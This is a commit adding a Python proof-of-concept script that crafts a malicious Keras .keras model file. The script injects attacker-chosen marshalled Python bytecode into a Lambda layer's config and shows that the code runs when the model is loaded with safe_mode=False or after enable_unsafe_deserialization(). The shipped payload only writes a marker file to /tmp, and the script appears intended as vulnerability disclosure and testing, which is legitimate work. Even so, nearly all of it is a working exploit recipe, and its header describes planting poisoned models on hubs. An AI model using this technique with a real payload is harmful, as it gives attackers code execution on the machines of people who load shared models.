Upload poc_keras_lambda_ace.py with huggingface_hub

poc_keras_lambda_ace.py

@@ -0,0 +1,238 @@
+#!/usr/bin/env python3
+"""
+Keras .keras Lambda Layer - Arbitrary Code Execution PoC
+
+VULNERABILITY:
+  .keras model files are ZIP archives containing config.json. Lambda layers
+  store base64-encoded marshal'd Python bytecode in config.json under the
+  "function" -> "config" -> "code" key. When a model is loaded with
+  safe_mode=False (or after calling tf.keras.config.enable_unsafe_deserialization()),
+  this bytecode is unmarshalled and executed - enabling arbitrary code execution
+  from a crafted model file.
+
+IMPACT:
+  Any user who loads an untrusted .keras file with safe_mode=False gets arbitrary
+  code execution. Many official tutorials and StackOverflow answers recommend
+  safe_mode=False to load models with custom layers. HuggingFace hosts thousands
+  of .keras files that could be replaced with malicious versions.
+
+ATTACK VECTOR:
+  1. Attacker creates a legitimate-looking .keras model
+  2. Attacker replaces Lambda layer bytecode with malicious payload
+  3. Victim downloads model from HuggingFace, Kaggle, or email
+  4. Victim loads with safe_mode=False -> code executes silently
+
+AFFECTED:
+  - keras >= 3.0 (all versions using .keras format)
+  - tensorflow >= 2.16 (ships keras 3.x)
+
+TESTED: TensorFlow 2.20.0, Keras 3.13.2, Python 3.12
+
+Usage:
+  python3 poc_keras_lambda_ace.py
+"""
+
+import os
+import sys
+import json
+import zipfile
+import marshal
+import base64
+import types
+import tempfile
+import shutil
+
+os.environ["TF_CPP_MIN_LOG_LEVEL"] = "3"
+
+MARKER_FILE = "/tmp/keras_ace_marker.txt"
+PAYLOAD_MSG = "KERAS_LAMBDA_ACE_CONFIRMED"
+
+
+def create_malicious_keras_model(output_path):
+    import tensorflow as tf
+    import numpy as np
+
+    print("[*] Step 1: Building legitimate model with Lambda layer...")
+    model = tf.keras.Sequential([
+        tf.keras.layers.Input(shape=(5,)),
+        tf.keras.layers.Dense(10, name="dense_1"),
+        tf.keras.layers.Lambda(lambda x: x * 2, name="lambda_layer"),
+        tf.keras.layers.Dense(1, name="output"),
+    ])
+    model.compile(optimizer="adam", loss="mse")
+
+    tmp_dir = tempfile.mkdtemp(prefix="keras_poc_")
+    legit_path = os.path.join(tmp_dir, "legit.keras")
+    model.save(legit_path)
+    print("    Saved legitimate model: {} ({} bytes)".format(legit_path, os.path.getsize(legit_path)))
+
+    print("[*] Step 2: Extracting .keras ZIP and injecting malicious bytecode...")
+    with zipfile.ZipFile(legit_path, "r") as zf:
+        archive_files = {name: zf.read(name) for name in zf.namelist()}
+
+    config = json.loads(archive_files["config.json"])
+
+    evil_source = "lambda x: (__import__('builtins').open('{}', 'w').write('{}\\n'), x)[-1]".format(
+        MARKER_FILE, PAYLOAD_MSG
+    )
+    print("    Payload: write '{}' to {}".format(PAYLOAD_MSG, MARKER_FILE))
+
+    evil_expr = compile(evil_source, "<payload>", "eval")
+    lambda_code = [c for c in evil_expr.co_consts if isinstance(c, types.CodeType)][0]
+
+    evil_b64 = base64.b64encode(marshal.dumps(lambda_code)).decode() + "\n"
+    print("    Encoded bytecode: {} chars".format(len(evil_b64)))
+
+    def inject_into_lambda(obj):
+        if isinstance(obj, dict):
+            if obj.get("class_name") == "Lambda" and "config" in obj:
+                func = obj["config"].get("function", {})
+                if isinstance(func, dict) and "config" in func:
+                    func["config"]["code"] = evil_b64
+                    print("    Injected payload into Lambda layer config")
+                    return True
+            for v in obj.values():
+                if isinstance(v, (dict, list)) and inject_into_lambda(v):
+                    return True
+        elif isinstance(obj, list):
+            for v in obj:
+                if inject_into_lambda(v):
+                    return True
+        return False
+
+    if not inject_into_lambda(config):
+        print("    ERROR: Could not find Lambda layer in config.json")
+        sys.exit(1)
+
+    print("[*] Step 3: Repacking .keras file with malicious config...")
+    archive_files["config.json"] = json.dumps(config).encode()
+    with zipfile.ZipFile(output_path, "w", zipfile.ZIP_DEFLATED) as zf:
+        for name, data in archive_files.items():
+            zf.writestr(name, data)
+
+    print("    Malicious model: {} ({} bytes)".format(output_path, os.path.getsize(output_path)))
+    shutil.rmtree(tmp_dir)
+
+
+def test_safe_mode_true(model_path):
+    import tensorflow as tf
+    print("\n[*] Test A: Loading with safe_mode=True (default)...")
+    if os.path.exists(MARKER_FILE):
+        os.remove(MARKER_FILE)
+    try:
+        tf.keras.models.load_model(model_path)
+        print("    Model loaded (unexpected)")
+        return os.path.exists(MARKER_FILE)
+    except Exception as e:
+        print("    Blocked as expected: {}".format(str(e)[:150]))
+        return False
+
+
+def test_safe_mode_false(model_path):
+    import tensorflow as tf
+    import numpy as np
+    print("\n[*] Test B: Loading with safe_mode=False...")
+    if os.path.exists(MARKER_FILE):
+        os.remove(MARKER_FILE)
+    try:
+        loaded = tf.keras.models.load_model(model_path, safe_mode=False)
+        print("    Model loaded with safe_mode=False")
+
+        if os.path.exists(MARKER_FILE):
+            with open(MARKER_FILE) as f:
+                content = f.read().strip()
+            print("    >>> ACE CONFIRMED ON LOAD: marker = '{}'".format(content))
+            return True
+
+        print("    No execution on load. Running inference...")
+        result = loaded.predict(np.random.randn(1, 5), verbose=0)
+        print("    Inference result: {}".format(result))
+
+        if os.path.exists(MARKER_FILE):
+            with open(MARKER_FILE) as f:
+                content = f.read().strip()
+            print("    >>> ACE CONFIRMED ON INFERENCE: marker = '{}'".format(content))
+            return True
+
+        print("    No ACE triggered")
+        return False
+    except Exception as e:
+        print("    Error: {}".format(str(e)[:300]))
+        return False
+
+
+def test_enable_unsafe_deserialization(model_path):
+    import tensorflow as tf
+    import numpy as np
+    print("\n[*] Test C: Loading with enable_unsafe_deserialization()...")
+    if os.path.exists(MARKER_FILE):
+        os.remove(MARKER_FILE)
+    try:
+        tf.keras.config.enable_unsafe_deserialization()
+        loaded = tf.keras.models.load_model(model_path)
+        print("    Model loaded with enable_unsafe_deserialization")
+
+        if os.path.exists(MARKER_FILE):
+            with open(MARKER_FILE) as f:
+                content = f.read().strip()
+            print("    >>> ACE CONFIRMED ON LOAD: marker = '{}'".format(content))
+            return True
+
+        print("    No execution on load. Running inference...")
+        result = loaded.predict(np.random.randn(1, 5), verbose=0)
+
+        if os.path.exists(MARKER_FILE):
+            with open(MARKER_FILE) as f:
+                content = f.read().strip()
+            print("    >>> ACE CONFIRMED ON INFERENCE: marker = '{}'".format(content))
+            return True
+
+        print("    No ACE triggered")
+        return False
+    except Exception as e:
+        print("    Error: {}".format(str(e)[:300]))
+        return False
+
+
+def main():
+    print("=" * 70)
+    print("Keras .keras Lambda Layer - Arbitrary Code Execution PoC")
+    print("=" * 70)
+
+    script_dir = os.path.dirname(os.path.abspath(__file__))
+    malicious_model = os.path.join(script_dir, "malicious_lambda.keras")
+
+    if os.path.exists(MARKER_FILE):
+        os.remove(MARKER_FILE)
+
+    create_malicious_keras_model(malicious_model)
+
+    ace_safe = test_safe_mode_true(malicious_model)
+    ace_unsafe = test_safe_mode_false(malicious_model)
+    ace_global = test_enable_unsafe_deserialization(malicious_model)
+
+    print("\n" + "=" * 70)
+    print("RESULTS:")
+    print("  safe_mode=True (default):           {}".format("ACE!" if ace_safe else "Blocked (correct)"))
+    print("  safe_mode=False:                    {}".format("ACE!" if ace_unsafe else "No ACE"))
+    print("  enable_unsafe_deserialization():     {}".format("ACE!" if ace_global else "No ACE"))
+    print()
+
+    if ace_unsafe or ace_global:
+        print("VULNERABILITY CONFIRMED: .keras Lambda bytecode enables arbitrary")
+        print("code execution when loaded with safe_mode=False or after calling")
+        print("enable_unsafe_deserialization().")
+        print()
+        print("Marker file: {}".format(MARKER_FILE))
+        if os.path.exists(MARKER_FILE):
+            with open(MARKER_FILE) as f:
+                print("Contents: {}".format(f.read().strip()))
+        print("\nMalicious model saved to: {}".format(malicious_model))
+    else:
+        print("No ACE triggered. Check TensorFlow/Keras version.")
+
+    print("=" * 70)
+
+
+if __name__ == "__main__":
+    main()